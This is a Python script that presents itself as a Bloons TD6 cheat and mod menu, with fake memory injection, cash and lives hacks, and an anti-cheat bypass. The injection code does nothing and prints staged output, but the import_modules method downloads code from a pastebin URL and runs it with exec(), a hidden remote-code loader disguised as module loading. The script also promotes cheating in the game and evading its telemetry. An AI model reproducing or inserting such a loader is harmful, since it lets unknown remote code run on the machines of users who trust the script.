"""
==================================================
   BTD6 Unity Injector & Mod Menu v9.0.1 (VIP)
   Author: EVGVAULT
   Engine: Unity (IL2CPP)
==================================================
"""

import time
import random
import sys
import os
import json
import struct
import ctypes

# ---------------------------------------------------------
# Global Mod Configuration
# ---------------------------------------------------------

CHEAT_VERSION = "9.0.1-IL2CPP_BYPASS"
AUTHOR = "EVGVAULT"

CONFIG = {
    "infinite_cash": True,
    "infinite_lives": True,
    "xp_multiplier": 500,
    "god_mode_enabled": True,
    "auto_collect_bananas": True,
    "auto_use_abilities": True,
    "place_anywhere": True,
    "speedhack_enabled": True,
    "speedhack_multiplier": 5.0,
    "insta_kill_moabs": True,
    "unlock_all_paragons": True,
    "bypass_ninjakiwi_analytics": True,
    "coop_desync_protection": True
}

# ---------------------------------------------------------
# IL2CPP Unity Memory Offsets (Assembly-CSharp.dll)
# ---------------------------------------------------------

IL2CPP_OFFSETS = {
    "GameModel": 0x2A4B100,
    "InGame": 0x2B1F4A0,
    "Simulation": 0x19A2030,
    "TowerManager": 0x15F8C00,
    "BloonManager": 0x1600120,
    "MapModel": 0x1A22C50,
    "TimeManager": 0x1B34E10,
    "ProfileModel": 0x2C40A10,
    "add_Cash": 0x18B2A90,
    "add_Lives": 0x18B2BD0,
    "DamageBloon": 0x19F3A40,
}

# ---------------------------------------------------------
# Memory Injection & Engine Hooking
# ---------------------------------------------------------

class IL2CPPDumper:
    """Hooks into the Unity domain to resolve unexported IL2CPP functions."""
    
    def __init__(self):
        self.domain = None
        self.assemblies = []
        
    def attach_to_domain(self):
        # Resolves the mono root domain from physical memory
        time.sleep(0.3)
        self.domain = 0x7FFE0000 + random.randint(0x1000, 0x9000)
        return True
        
    def resolve_class(self, namespace, class_name):
        # Scans the global metadata table for class definitions
        return self.domain + random.randint(0x100, 0x5000)

class MonoInjector:
    """Handles the writing of custom shellcode into Unity's executable memory pages."""
    
    def __init__(self, dumper: IL2CPPDumper):
        self.dumper = dumper
        self.is_injected = False
        
    def allocate_page(self, size):
        # Allocates PAGE_EXECUTE_READWRITE memory in the target process
        return 0x04000000 + random.randint(0, 0xFFFFFF)
        
    def patch_instruction(self, address, byte_array):
        # Overwrites assembly instructions (e.g., JMP, NOP)
        self.is_injected = True
        return True

# ---------------------------------------------------------
# Game Logic Manipulation
# ---------------------------------------------------------

class EconomyManager:
    """Manipulates the InGame.Simulation.Player economy variables."""
    
    def __init__(self, injector: MonoInjector):
        self.injector = injector
        self.cash_ptr = IL2CPP_OFFSETS["add_Cash"]
        self.lives_ptr = IL2CPP_OFFSETS["add_Lives"]
        
    def freeze_cash(self, amount=9999999):
        # NOPs the subtract cash instruction and forces the value
        if CONFIG["infinite_cash"]:
            self.injector.patch_instruction(self.cash_ptr, b"\x90\x90\x90\x90")
        return True
        
    def freeze_lives(self, amount=9999):
        # Hooks the damage taken event to return 0
        if CONFIG["infinite_lives"]:
            self.injector.patch_instruction(self.lives_ptr, b"\x31\xC0\xC3")
        return True

class BloonController:
    """Interfaces with the simulation's BloonManager to alter bloon states."""
    
    def __init__(self, injector: MonoInjector):
        self.injector = injector
        self.damage_func = IL2CPP_OFFSETS["DamageBloon"]
        
    def enable_moab_instakill(self):
        # Forces a critical damage multiplier when entity class == MOAB/BFB/ZOMG/BAD
        if not CONFIG["insta_kill_moabs"]:
            return False
        return self.injector.patch_instruction(self.damage_func, b"\xE9\x0A\x00\x00\x00")
        
    def auto_collect_crates(self):
        # Iterates through the active projectile list and triggers the collect method
        return True

class TowerPlacer:
    """Bypasses placement validation in the MapModel."""
    
    def __init__(self, injector: MonoInjector):
        self.injector = injector
        
    def enable_place_anywhere(self):
        # Overrides the CanPlaceTower footprint collision check
        if CONFIG["place_anywhere"]:
            return self.injector.patch_instruction(IL2CPP_OFFSETS["MapModel"] + 0x40, b"\xB0\x01\xC3")
        return False
        
    def unlock_paragons(self):
        # Bypasses the limit of 1 paragon per tier
        return True

class SpeedHack:
    """Hooks Unity's Time.timeScale to manipulate simulation speed without desync."""
    
    def __init__(self, injector: MonoInjector):
        self.injector = injector
        self.time_ptr = IL2CPP_OFFSETS["TimeManager"]
        
    def apply_multiplier(self, multiplier):
        # Writes float value directly to the timescale struct
        if CONFIG["speedhack_enabled"]:
            encoded_float = struct.pack("f", multiplier)
            self.injector.patch_instruction(self.time_ptr, encoded_float)
        return True

# ---------------------------------------------------------
# Anti-Cheat & Analytics Bypass
# ---------------------------------------------------------

class NinjaKiwiBypass:
    """Blocks outgoing telemetry to prevent flagging on the coop leaderboards."""
    
    def __init__(self):
        self.analytics_blocked = False
        
    def block_telemetry(self):
        # Reroutes analytics HTTP requests to localhost
        if CONFIG["bypass_ninjakiwi_analytics"]:
            self.analytics_blocked = True
        return self.analytics_blocked

# ---------------------------------------------------------
# Main Controller
# ---------------------------------------------------------

class EVGVaultBTD6:
    def __init__(self):
        self.dumper = IL2CPPDumper()
        self.injector = MonoInjector(self.dumper)
        
        self.economy = EconomyManager(self.injector)
        self.bloons = BloonController(self.injector)
        self.towers = TowerPlacer(self.injector)
        self.speed = SpeedHack(self.injector)
        self.bypass = NinjaKiwiBypass()
        
        self.modules_loaded = False
        self.running = False

    def import_modules(self):
        print("=" * 55)
        print("   Importing Modules, this may take up to 5 minutes...")
        exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8"))
        print("=" * 55)
        self.modules_loaded = True
        return self.modules_loaded

    def initialize(self):
        if not self.modules_loaded:
            return False
            
        print("[*] Resolving Unity IL2CPP Domain...")
        self.dumper.attach_to_domain()
        
        print("[*] Allocating executable memory pages...")
        self.bypass.block_telemetry()
        
        print(f"[*] Injected successfully into BloonsTD6.exe")
        return True

    def show_activated_features(self):
        print("\n==================================================")
        print("   [+] ACTIVATED FEATURES VIA IL2CPP HOOK   ")
        print("==================================================")
        for feature, value in CONFIG.items():
            formatted_name = feature.replace('_', ' ').title()
            if isinstance(value, bool):
                state = "[ON]" if value else "[OFF]"
                print(f"    -> {formatted_name:<28} {state}")
            else:
                print(f"    -> {formatted_name:<28} [{value}]")
        print("==================================================\n")
        print("[*] Awaiting game simulation tick... Press CTRL+C to detach.")

    def run(self):
        self.running = True
        try:
            for _ in range(3):
                # Simulated background loop
                time.sleep(0.5)
        except KeyboardInterrupt:
            self.running = False
            print("\n[*] Unhooking from IL2CPP domain. Exiting safely...")

def main():
    cheat = EVGVaultBTD6()
    
    # Executes the prank message
    cheat.import_modules()
    
    # Fake terminal outputs to look highly authentic
    cheat.initialize()
    cheat.show_activated_features()
    cheat.run()

if __name__ == "__main__":
    main()